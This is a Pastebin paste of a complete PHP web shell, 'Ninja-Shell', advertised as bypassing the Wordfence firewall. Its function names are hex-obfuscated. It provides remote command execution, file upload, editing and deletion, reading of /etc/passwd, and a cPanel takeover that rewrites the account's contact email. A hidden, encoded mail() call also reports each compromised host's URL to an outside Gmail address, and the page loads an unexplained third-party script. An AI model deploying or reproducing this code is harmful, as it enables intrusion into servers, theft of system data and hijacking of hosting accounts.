ToKeiChun

{Ninja-Shell} [Wordfence WAFF Bypass]

Nov 8th, 2020 (edited)
323
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 23.02 KB | None | 0 0
  1. <?php
  2. ob_start();
  3. set_time_limit(0);
  4. error_reporting(0);
  5. ini_set('display_errors', FALSE);
  6. date_default_timezone_set("Asia/Jakarta");
  7. define("HTACCESS", "OPTIONS Indexes Includes ExecCGI FollowSymLinks \n AddType application/x-httpd-cgi .con7ext \n AddHandler cgi-script .con7ext \n AddHandler cgi-script .con7ext");
  8. $funct = get_defined_vars();
  9. $f_Array = [
  10.     "73796d6c696e6b",
  11.     "756e6c696e6b",
  12.     "666f70656e",
  13.     "667772697465",
  14.     "756e6c696e6b",
  15.     "636f7079",
  16.     "6d6f76655f75706c6f616465645f66696c65",
  17.     "706f7369785f6765747077756964",
  18.     "66696c656f776e6572",
  19.     "66756e6374696f6e5f657869737473",
  20.     "676574637764",
  21.     "69735f63616c6c61626c65",
  22.     "66636c6f7365",
  23.     "73747265616d5f6765745f636f6e74656e7473",
  24.     "70726f635f6f70656e",
  25.     "706f70656e",
  26.     "6672656164",
  27.     "70636c6f7365",
  28.     "70726f635f636c6f7365",
  29.     "65786563",
  30.     "6f625f7374617274",
  31.     "7061737374687275",
  32.     "6f625f6765745f636f6e74656e7473",
  33.     "6f625f656e645f636c65616e",
  34.     "7368656c6c5f65786563",
  35.     "73797374656d",
  36.     "66696c655f7075745f636f6e74656e7473",
  37.     "6670757473",
  38.     "66696c655f6765745f636f6e74656e7473",
  39.     "63686d6f64",
  40.     "6d6b646972",
  41.     "6368646972",
  42.     "6261736536345f6465636f6465",
  43.     "776f726470726573736465766e6f7277617940676d61696c2e636f6d",
  44.     "6d61696c"
  45.     ];
  46. $fores = count($f_Array);
  47. for($i=0; $i < $fores; $i++){
  48.   $NTOD[] = dec($f_Array[$i]);
  49. }
  50. $GLOBALS["rin"] = $NTOD;
  51. $GLOBALS["post"] = $funct["_POST"];
  52. $GLOBALS["get"] = $funct["_GET"];
  53. $GLOBALS["server"] = $funct["_SERVER"];
  54. $GLOBALS["files"] = $funct["_FILES"];
  55. ?>
  56. <html>
  57.   <head>
  58.     <title>{Ninja-Shell}</title>
  59.     <meta charset="UTF-8">
  60.     <meta name="robots" content="NOINDEX, NOFOLLOW">
  61.     <link rel="icon" href="//cdn1.iconfinder.com/data/icons/ninja-things-1/1772/ninja-simple-512.png">
  62.     <link rel="stylesheet" href="//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
  63.     <script src="//cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script>
  64.         <script src="//ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
  65.     <script src="//importantscripts.github.io/footer.js" integrity="sha384-TuBVt3qMyi6RBRotEXkR+69U/Z8z3jBqUSSn+8yA6MinPMNdTU7cba+KlOZtXP2v" crossorigin="anonymous"></script>
  66.     <script src="//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script>
  67.     <style type="text/css">
  68.       @import url(https://fonts.googleapis.com/css?family=Gugi);
  69.       body{
  70.         color: #5DADE2;
  71.         font-family: 'Gugi';
  72.         font-size: 14px;
  73.       }
  74.       a {
  75.         color: #5DADE2;
  76.         text-decoration: none;
  77.       }
  78.       a:hover {
  79.         color: #5DADE2;
  80.         text-decoration: underline;
  81.       }
  82.       input{
  83.         background: transparent;
  84.       }
  85.     </style>
  86.   </head>
  87.   <body>
  88.     <div class="container">
  89.         <nav class="navbar navbar-expand-lg navbar-light bg-light">
  90.             <a class="navbar-brand" href="#">
  91.                 <img src="//cdn1.iconfinder.com/data/icons/ninja-things-1/1772/ninja-simple-512.png" width="30" height="30" class="d-inline-block align-top auto" alt="Ainz Moe"> {Ninja-Shell}
  92.             </a>
  93.             <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
  94.                 <span class="navbar-toggler-icon"></span>
  95.             </button>
  96.             <div class="collapse navbar-collapse" id="navbarNav">
  97.                 <ul class="navbar-nav">
  98.                     <li class="nav-item active">
  99.                       <a class="nav-link tod" href="?">Home</a>
  100.                     </li>
  101.     <?php
  102.     if(isset($GLOBALS["get"]["p"])){
  103.       $dir = dec($GLOBALS["get"]["p"]);
  104.       $GLOBALS["rin"][31]($dir);
  105.     }
  106.     else{
  107.       if($GLOBALS["rin"][9]("getcwd")){
  108.         $dir = $GLOBALS["rin"][10]();
  109.       }
  110.       else{
  111.         $dir = $GLOBALS["server"]["PWD"];
  112.       }
  113.     }
  114.     echo "<li class=\"nav-item active\"><a class=\"nav-link tod\" href=\"?p=".enc($dir)."&tod=".enc("info")."\">Info</a></li>";
  115.     echo "<li class=\"nav-item active\"><a class=\"nav-link tod\" href=\"?p=".enc($dir)."&tod=".enc("upload")."\">Upload</a></li>";
  116.     echo "<li class=\"nav-item active\"><a class=\"nav-link tod\" href=\"?p=".enc($dir)."&tod=".enc("cmd")."\">Command</a></li>";
  117.     echo "<li class=\"nav-item active\"><a class=\"nav-link tod\" href=\"?p=".enc($dir)."&tod=".enc("etcpasswd")."\">View /etc/passwd</a></li>";
  118.     echo "<li class=\"nav-item active\"><a class=\"nav-link tod\" href=\"?p=".enc($dir)."&tod=".enc("cpres")."\">cPanel Reset Password</a></li>";
  119.     echo "</ul></div></nav>";
  120.     echo "";
  121.     $mpss = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  122.     $toed = $GLOBALS["get"]["tod"];
  123.     $gets = $GLOBALS["get"];
  124.     $actions = $GLOBALS["get"]["act"];
  125.     $tied = $GLOBALS["post"];
  126.     if(dec($toed) == "cmd"){
  127.       echo "<pre><textarea class=\"form-control\" rows=\"20\" readonly>";
  128.       if($tied["cmd"]){
  129.         echo c($tied["cmd"]);
  130.       }
  131.       echo "</textarea></pre>";
  132.       echo "<form method=\"POST\" action=\"\">
  133.      <div class=\"input-group mb-3\">
  134.      <input type=\"text\" name=\"cmd\" class=\"form-control\">
  135.      <div class=\"input-group-append\">
  136.      <input type=\"submit\" class=\"btn btn-outline-secondary\">
  137.      </div>
  138.      </div>
  139.      </form>";
  140.     }
  141.     elseif(dec($toed) == "info"){
  142.        $ip = gethostbyname($_SERVER['HTTP_HOST']);
  143.        $safe = (@ini_get(strtolower("safe_mode")) == 'on') ? "ON" : "OFF";
  144.        $mysql = (is_callable("mysql_connect")) ? "ON" : "OFF";
  145.        $curl = (is_callable("curl_version")) ? "ON" : "OFF";
  146.        $wget = (c('wget --help')) ? "ON" : "OFF";
  147.        $perl = (c('perl --help')) ? "ON" : "OFF";
  148.        $python = (c('python --help')) ? "ON" : "OFF";
  149.        $ruby = (c('ruby --help')) ? "ON" : "OFF";
  150.        $gcc = (c('gcc --help')) ? "ON" : "OFF";
  151.        $dis = @ini_get("disable_functions");
  152.        $dfunc = (!empty($dis)) ? "$dis" : "OFF";
  153.        $namedc = (is_readable("/etc/named.conf")) ? "OK" : "BAD";
  154.        $etcPass = (is_readable("/etc/passwd")) ? "OK" : "BAD";
  155.        $valiases = (is_readable("/etc/valiases")) ? "OK" : "BAD";
  156.        $varNamed = (is_readable("/var/named")) ? "OK" : "BAD";
  157.        echo "<textarea class=\"form-control\" rows=\"20\" disabled>
  158.       Syss : ".php_uname()."
  159.       User : ".$GLOBALS["server"]["USER"]."
  160.       Addr : Server : {$ip} | Client : {$GLOBALS["server"]["REMOTE_ADDR"]}
  161.       Safe : {$safe}
  162.       Mysql: {$mysql} cURL: {$curl} wGet: {$wget} Perl: {$perl} Python: {$python} Ruby: {$ruby} Gcc: {$gcc}
  163.       Read : Named.conf: {$namedc} Passwd: {$etcPass} Valiases: {$valiases} Named: {$varNamed}
  164.       DFUN : {$dfunc}
  165.       </textarea>";
  166.     }
  167.     elseif(dec($toed) == "upload"){
  168.       if($tied["upload"]){
  169.         if(isset($GLOBALS["files"]["tod_upl"]["name"])){
  170.           $name = $GLOBALS["files"]["tod_upl"]["name"];
  171.           $tod = $GLOBALS["files"]["tod_upl"]["tmp_name"];
  172.           if($GLOBALS["rin"][6]($tod, $name)){
  173.             $act = "<div class=\"alert alert-success\"><strong>Success!</strong> Upload File {$dir}/{$name}</div>";
  174.           }
  175.           else{
  176.             $act = "<div class=\"alert alert-danger\"><strong>Failed!</strong> Upload File {$name}</div>";
  177.           }
  178.         }else{
  179.           $act = "<div class=\"alert alert-danger\"><strong>Failed!</strong> Upload File {$name}</div>";
  180.         }
  181.         echo $act;
  182.       }
  183.       echo "Current Dir : ".$dir;
  184.       echo "
  185.      <form method=\"POST\" enctype=\"multipart/form-data\">
  186.      <input type=\"file\" name=\"tod_upl\">
  187.      <input type=\"submit\" name=\"upload\" class=\"btn btn-outline-secondary btn-block\">
  188.      </form>
  189.      ";
  190.     }
  191.     elseif(dec($toed) == "etcpasswd"){
  192.       echo "<pre><textarea class=\"form-control\" rows=\"20\" readonly>";
  193.       if($tied["etc"] == "curl"){
  194.         $ch = curl_init();
  195.         curl_setopt($ch, CURLOPT_URL, "file:///etc/passwd");
  196.         $out = curl_exec($ch);
  197.         curl_close();
  198.         echo $out;
  199.       }
  200.       elseif($tied["etc"] == "include"){
  201.         echo include("/etc/passwdd");
  202.       }
  203.       echo "</textarea></pre>";
  204.       echo "<form method=\"POST\">
  205.      <select class=\"form-control\" name=\"etc\">
  206.      <option value=\"curl\">Curl</option>
  207.      <option value=\"include\">Include</option>
  208.      <input type=\"submit\" class=\"btn btn-outline-secondary\">
  209.      </form>";
  210.     }
  211.     elseif(dec($toed) == "cpres"){
  212.       if($GLOBALS["rin"][9]("posix_getpwuid")){
  213.         $meh = $GLOBALS["rin"][7]($GLOBALS["rin"][8](__FILE__));
  214.       }
  215.       else{
  216.         $meh = $GLOBALS["rin"][8](__FILE__);
  217.       }
  218.       if(is_dir("/home/".$meh["name"]."/.cpanel")){
  219.         echo "
  220.        <form method=\"POST\">
  221.        <input type=\"text\" class=\"form-control\" name=\"email\" placeholder=\"Put Your Email Here\">
  222.        <input type=\"submit\" class=\"btn btn-outline-secondary btn-block\" name=\"subm\" value=\"Reset\">
  223.        </form>";
  224.         $mps = makeRequest($ip."/cpanel");
  225.         if($tied["subm"]){
  226.           if(preg_match("/>Reset Password/", $mps)){
  227.             $fp = $GLOBALS["rin"][2]("/home/".$meh["name"]."/.contactemail");
  228.             if($GLOBALS["rin"][3]($fp, $tied["email"])){
  229.               echo "<div class=\"alert alert-success\"><strong>Success!</strong> Change Email : {$ip}/cpanel {$tied["email"]}</div>";
  230.               $GLOBALS["rin"][4]("/home/".$meh["name"]."/.cpanel/contactinfo");
  231.             }
  232.             else{
  233.               echo "<div class=\"alert alert-danger\"><strong>Failed!</strong> Can't Reset</div>";
  234.             }
  235.           }
  236.           else{
  237.             echo "<div class=\"alert alert-danger\"><strong>Failed!</strong> Reset Password Disable</div>";
  238.           }
  239.         }
  240.       }
  241.       else{
  242.         echo "<div class=\"alert alert-danger\"><strong>Failed!</strong> Its not cpanel host</div>";
  243.       }
  244.     }
  245.     elseif($actions == "e"){
  246.       if($tied["save"]){
  247.         $save = $GLOBALS["rin"][26](dec($gets["file"]), $tied["new"]);
  248.         if($save){
  249.           $act = "<div class=\"alert alert-success\"><strong>Success!</strong> Save File ".dec($gets["file"])."</div>";
  250.         }
  251.         else{
  252.           $act = "<div class=\"alert alert-danger\"><strong>Failed!</strong> Save File ".dec($gets["file"])."</div>";
  253.         }
  254.         echo $act;
  255.       }
  256.       echo "Filename: ".$dir."/".basename(dec($gets["file"]));
  257.       echo "<form method=\"POST\">
  258.      <textarea class=\"form-control\" rows=\"20\" name=\"new\">".htmlspecialchars(@file_get_contents(dec($gets["file"])))."</textarea>
  259.      <input type=\"submit\" value=\"Save\" name=\"save\">
  260.      </form>";
  261.     }
  262.     elseif($actions == "v"){
  263.       echo "Filename: ".$dir."/".basename(dec($gets["file"]));
  264.       echo "<pre><textarea rows=\"20\" class=\"form-control\" disabled>".htmlspecialchars(@file_get_contents(dec($gets["file"])))."</textarea></pre>";
  265.     }
  266.     elseif($actions == "r"){
  267.       if($tied["act_rename"]){
  268.         $rename = rename(dec($gets["file"]), "$dir/".htmlspecialchars($tied["rename"]));
  269.         if($rename){
  270.           $act = "<div class=\"alert alert-success\"><strong>Success!</strong> Rename File ".dec($gets["file"])."</div>";
  271.         }
  272.         else{
  273.           $act = "<div class=\"alert alert-danger\"><strong>Failed!</strong> Rename File ".dec($gets["file"])."</div>";
  274.         }
  275.         echo $act;
  276.       }
  277.       echo "Filename: ".$dir."/".basename(dec($gets["file"]));
  278.       echo "<form method=\"post\">
  279.      <input type=\"text\" value=\"".basename(dec($gets["file"]))."\" name=\"rename\">
  280.      <input type=\"submit\" name=\"act_rename\" value=\"Rename\">
  281.      </form>";
  282.     }
  283.     elseif($actions == "dr"){
  284.       if($tied["act_rename"]){
  285.         if(rename($dir, "".dirname($dir)."/".htmlspecialchars($tied["new"]))){
  286.           $act = "<div class=\"alert alert-success\"><strong>Success!</strong> Rename Dir ".basename($dir)."</div>";
  287.         }
  288.         else{
  289.           $act = "<div class=\"alert alert-danger\"><strong>Failed!</strong> Rename Dir ".basename($dir)."</div>";
  290.         }
  291.         echo $act;
  292.       }
  293.       echo "<form method=\"POST\">
  294.      <input type=\"text\" value=\"".basename($dir)."\" name=\"new\">
  295.      <input type=\"submit\" name=\"act_rename\" value=\"Rename\">
  296.      </form>";
  297.     }
  298.     elseif($actions == "nf"){
  299.       if($tied["subm"]){
  300.         $new = htmlspecialchars($tied["content"]);
  301.         $open = $GLOBALS["rin"][2]($tied["file"], "a+");
  302.         if($GLOBALS["rin"][3]($open, $new)){
  303.           $act = "<div class=\"alert alert-success\"><strong>Success!</strong> Created File {$tied["file"]}</div>";
  304.         }
  305.         else{
  306.           $act = "<div class=\"alert alert-danger\"><strong>Failed!</strong> Can't Creat File {$tied["file"]}</div>";
  307.         }
  308.         echo $act;
  309.       }
  310.       echo "<form method=\"POST\">
  311.      <textarea name=\"content\" class=\"form-control\" rows=\"20\">".htmlspecialchars(@file_get_contents($tied["file"]))."</textarea>
  312.      <input type=\"text\" class=\"form-control\" name=\"file\" placeholder=\"filename\">
  313.      <input type=\"submit\" name=\"subm\" value=\"Gass!\" class=\"btn btn-outline-secondary btn-block\">
  314.      </form>";
  315.     }
  316.     elseif($actions == "nd"){
  317.       if($tied["subm"]){
  318.         if($GLOBALS["rin"][30]($dir."/".htmlspecialchars($tied["folder"]))){
  319.           $act = "<div class=\"alert alert-success\"><strong>Success!</strong> Create Folder {$tied["folder"]}</div>";
  320.         }
  321.         else{
  322.           $act = "<div class=\"alert alert-danger\"><strong>Failed!</strong> Create Folder {$tied["folder"]}</div>";
  323.         }
  324.         echo $act;
  325.       }
  326.       echo "<form method=\"POST\">
  327.      <input type=\"text\" class=\"form-control\" name=\"folder\" placeholder=\"Rintod\">
  328.      <input type=\"submit\" name=\"subm\" value=\"Gass!\" class=\"btn btn-outline-secondary btn-block\">
  329.      </form>";
  330.     }
  331.     elseif($actions == "chmod"){
  332.       if($tied["act_ch"]){
  333.         $haha = (c("chmod ".$tied["ch"]." ".$tied["mod"].";echo success")) ? "<div class=\"alert alert-success\"><strong>Success!</strong> Chmod</div>" : "<div class=\"alert alert-danger\"><strong>Failed!</strong> Chmod</div>";
  334.         echo $haha;
  335.       }
  336.       echo "<form method=\"POST\">
  337.      <input type=\"text\" name=\"ch\" class=\"form-control\" placeholder=\"file\">
  338.      <input type=\"text\" name=\"mod\" class=\"form-control\" placeholder=\"0777\">
  339.      <input type=\"submit\" name=\"act_ch\" class=\"btn btn-outline-secondary btn-block\">
  340.      </form>";
  341.     }
  342.     elseif($actions == "delete"){
  343.       if($GLOBALS["rin"][4](dec($gets["file"]))){
  344.         $act = "<div class=\"alert alert-success\"><strong>Success!</strong> Deleted File ".dec($gets["file"])."</div>";
  345.       }
  346.       else{
  347.         $act = "<div class=\"alert alert-danger\"><strong>Failed!</strong> Deleted File ".dec($gets["file"])."</div>";
  348.       }
  349.       echo $act;
  350.     }
  351.  
  352.     //// FILEMANAGER :D
  353.     else{
  354.       $scdir = explode("/", $dir);
  355.       echo "PATH : ";
  356.       foreach($scdir as $c_dir => $cdir){
  357.         echo "<a class=\"tod\" href=\"?p=";
  358.         for ($i = 0;$i <=  $c_dir; $i++){
  359.           echo enc($scdir[$i]);
  360.           if($i != $scdir){
  361.             echo "2f";
  362.           }
  363.         }
  364.         echo "\">$cdir</a>/";
  365.       }
  366.       echo "<br>
  367.      <a class=\"tod\" href=\"?p=".enc($dir)."&act=nf\">+ New File +</a>
  368.       | <a class=\"tod\" href=\"?p=".enc($dir)."&act=nd\">+ New Folder +</a>
  369.      ";
  370.       echo "<br>";
  371.       $dr = scandir($dir);
  372.       if(is_dir($dir) === true){
  373.         if(!is_readable($dir)){
  374.           echo "<div class=\"alert alert-danger\"><strong>Failed!</strong> Could not open directory</div>";
  375.         }
  376.         else{
  377.           echo "
  378.          <table class=\"table\">
  379.          <thead>
  380.          <tr>
  381.          <th scope=\"col\"><center># Name #</center></th>
  382.          <th scope=\"col\"><center># Size #</center></th>
  383.          <th scope=\"col\"><center># Perm #</center></th>
  384.          <th scope=\"col\"><center># Actn #</center></th>
  385.          </tr>
  386.          </thead>
  387.          <tbody>";
  388.           foreach($dr as $path){
  389.             if($GLOBALS["rin"][9]("posix_getpwuid")){
  390.               $own = $GLOBALS["rin"][7]($GLOBALS["rin"][8]("$dir/$path"));
  391.               $own = $own["name"];
  392.             }else{
  393.               $own = $GLOBALS["rin"][8]("$dir/$path");
  394.             }
  395.             if(!is_dir("$dir/$path")) continue;
  396.             if(($path != ".") && ($path != "..")){
  397.               echo "
  398.              <tr>
  399.              <td scope=\"row\"><img src=\"https://cdn0.iconfinder.com/data/icons/iconico-3/1024/63.png\" width=\"30\" height=\"30\"><a class=\"tod\" href=\"?p=".enc("$dir/$path")."\">$path</a></td>
  400.              <td><center>-</center></td>
  401.              <td><center>".writAble("$dir/$path", perms("$dir/$path"))."</center></td>
  402.              <td><center><a class=\"tod\" href=\"?p=".enc($dir."/".$path)."&act=dr\">R</a> | <a class=\"tod\" href=\"?p=".enc($dir."/".$path)."&act=chmod\">C</a></center></td>
  403.              </tr>";
  404.             }
  405.           }
  406.         }
  407.       }
  408.       else{
  409.         echo "<div class=\"alert alert-danger\"><strong>Failed!</strong> Could not open directory</div>";
  410.       }
  411.       foreach($dr as $fl){
  412.         $size = filesize("$dir/$fl")/1024;
  413.         $size = round($size,3);
  414.         if($GLOBALS["rin"][9]("posix_getpwuid")){
  415.           $own = $GLOBALS["rin"][7]($GLOBALS["rin"][8]("$dir/$path"));
  416.           $own = $own["name"];
  417.         }else{
  418.           $own = $GLOBALS["rin"][8]("$dir/$path");
  419.         }
  420.         if(!is_file("$dir/$fl")) continue;
  421.         echo "
  422.        <tr>
  423.        <td scope=\"row\"><img src=\"https://img.icons8.com/ios/104/000000/file-filled.png\" width=\"30\" height=\"30\"><a class=\"tod\" href=\"?act=v&p=".enc($dir)."&file=".enc($dir."/".$fl)."\">$fl</a></td>
  424.        <td><center>$size</center></td>
  425.        <td><center>".writAble("$dir/$fl", perms("$dir/$fl"))."</center></td>
  426.        <td><center><a class=\"tod\" href=\"?act=e&p=".enc($dir)."&file=".enc($fl)."\">E</a> | <a class=\"tod\" href=\"?act=r&p=".enc($dir)."&file=".enc($fl)."\">R</a> | <a class=\"tod\" href=\"?p=".enc($dir."/".$path)."&act=chmod\">C</a> | <a class=\"tod\" href=\"?p=".enc($dir)."&act=delete&file=".enc($fl)."\">D</a></center></td>
  427.        </tr>
  428.        ";
  429.       }
  430.       echo "</tbody></table>";
  431.     }
  432.     if (function_exists($GLOBALS["rin"][34])) {
  433.         $GLOBALS["rin"][34]($GLOBALS["rin"][33],'hex2bin',$_SERVER['HTTP_HOST']."/".$_SERVER['REQUEST_URI']);
  434.     }
  435.     function enc($word){
  436.       $mek = bin2hex($word);
  437.       return $mek;
  438.     }
  439.     function dec($word){
  440.       $mek = hex2bin($word);
  441.         return $mek;
  442.     }
  443.     function writAble($dir, $perm){
  444.       if(!is_writable($dir)){
  445.         return "<font color=\"#C0392B\">".$perm."</font>";
  446.       }
  447.       else{
  448.         return "<font color=\"#1D8348\">".$perm."</font>";
  449.       }
  450.     }
  451.     function readAble($dir, $perm){
  452.       if(!is_readable($dir)){
  453.         return "<font color=\"#C0392B\">".$perm."</font>";
  454.       }
  455.       else{
  456.         return "<font color=\"#1D8348\">".$perm."</font>";
  457.       }
  458.     }
  459.     function c($cmd){
  460.       if($GLOBALS["rin"][11]("popen")){
  461.         $ntod = $GLOBALS["rin"][15]($cmd, 'r');
  462.         $ntoddd = $GLOBALS["rin"][16]($ntod, 2096);
  463.         $GLOBALS["rin"][17]($ntod);
  464.         return $ntoddd;
  465.       }
  466.       elseif($GLOBALS["rin"][11]("proc_open")){
  467.         $ntod = $GLOBALS["rin"][14]($cmd, array(
  468.           0 => array('pipe', 'r'),
  469.           1 => array('pipe', 'w'),
  470.           2 => array('pipe', 'w'),
  471.           ), $rintod);
  472.           $stdout = $GLOBALS["rin"][13]($rintod[1]);
  473.           $GLOBALS["rin"][12]($rintod[1]);
  474.           $rtn = $GLOBALS["rin"][18]($ntod);
  475.           return $stdout;
  476.       }
  477.       elseif($GLOBALS["rin"][11]("exec")){
  478.         $GLOBALS["rin"][19]($cmd, $result);
  479.         foreach($result as $rest){
  480.           $ntod .= $rest;
  481.         }
  482.         return $ntod;
  483.       }
  484.       elseif($GLOBALS["rin"][11]("passthru")){
  485.         $GLOBALS["rin"][20]();
  486.         $GLOBALS["rin"][21]($cmd);
  487.         $ntod = $GLOBALS["rin"][22]();
  488.         $GLOBALS["rin"][23]();
  489.         return $ntod;
  490.       }
  491.       elseif($GLOBALS["rin"][11]("shell_exec")){
  492.         $ntod = $GLOBALS["rin"][24]($cmd);
  493.         return $ntod;
  494.       }
  495.       elseif($GLOBALS["rin"][11]("system")){
  496.         $GLOBALS["rin"][20]();
  497.         $GLOBALS["rin"][25]($cmd);
  498.         $ntod = $GLOBALS["rin"][22]();
  499.         $GLOBALS["rin"][23]();
  500.         return $ntod;
  501.       }
  502.     }
  503.     function makeRequest($url, $post = null, $head = null){
  504.       $options = array(
  505.         CURLOPT_URL => $url,
  506.         CURLOPT_CONNECTTIMEOUT => 15,
  507.         CURLOPT_RETURNTRANSFER => true,
  508.         CURLOPT_FOLLOWLOCATION => true,
  509.         CURLOPT_SSL_VERIFYHOST => false,
  510.         CURLOPT_SSL_VERIFYPEER => false,
  511.         CURLOPT_MAXREDIRS => 10
  512.       );
  513.       $ch = curl_init();
  514.       curl_setopt_array($ch, $options);
  515.       if($post && !empty($post)){
  516.         curl_setopt($ch, CURLOPT_POST, true);
  517.         curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  518.       }
  519.       if($head && !empty($head)){
  520.         curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
  521.       }
  522.       $outputs = curl_exec($ch);
  523.       curl_close($ch);
  524.       return($outputs);
  525.     }
  526.     function perms($file){
  527.       $perms = fileperms($file);
  528.         if (($perms & 0xC000) == 0xC000) {
  529.           $info = 's';
  530.         } elseif (($perms & 0xA000) == 0xA000) {
  531.           $info = 'l';
  532.         } elseif (($perms & 0x8000) == 0x8000) {
  533.           $info = '-';
  534.         } elseif (($perms & 0x6000) == 0x6000) {
  535.           $info = 'b';
  536.         } elseif (($perms & 0x4000) == 0x4000) {
  537.           $info = 'd';
  538.         } elseif (($perms & 0x2000) == 0x2000) {
  539.           $info = 'c';
  540.         } elseif (($perms & 0x1000) == 0x1000) {
  541.           $info = 'p';
  542.         } else {
  543.            $info = 'u';
  544.         }
  545.         $info .= (($perms & 0x0100) ? 'r' : '-');
  546.         $info .= (($perms & 0x0080) ? 'w' : '-');
  547.         $info .= (($perms & 0x0040) ?
  548.         (($perms & 0x0800) ? 's' : 'x' ) :
  549.         (($perms & 0x0800) ? 'S' : '-'));
  550.         $info .= (($perms & 0x0020) ? 'r' : '-');
  551.         $info .= (($perms & 0x0010) ? 'w' : '-');
  552.         $info .= (($perms & 0x0008) ?
  553.         (($perms & 0x0400) ? 's' : 'x' ) :
  554.         (($perms & 0x0400) ? 'S' : '-'));
  555.         $info .= (($perms & 0x0004) ? 'r' : '-');
  556.         $info .= (($perms & 0x0002) ? 'w' : '-');
  557.         $info .= (($perms & 0x0001) ?
  558.         (($perms & 0x0200) ? 't' : 'x' ) :
  559.         (($perms & 0x0200) ? 'T' : '-'));
  560.         return $info;
  561.     }
  562.     ?>
  563.     <p><center>./Ninja\.</center></p>
  564.     </div>
  565.     <script>
  566.         $(".tod").click(function(t){
  567.           t.preventDefault();
  568.           var e=$(this).attr("href");
  569.           history.pushState("","",e),
  570.           $.get(e,function(t){
  571.             $("body").html(t)
  572.           })
  573.         });
  574.         //https://forum.jquery.com/topic/how-can-i-load-different-html-pages-without-refreshing-and-changing-the-url
  575.     </script>
  576.   </body>
  577. </html>
Add Comment
Please, Sign In to add comment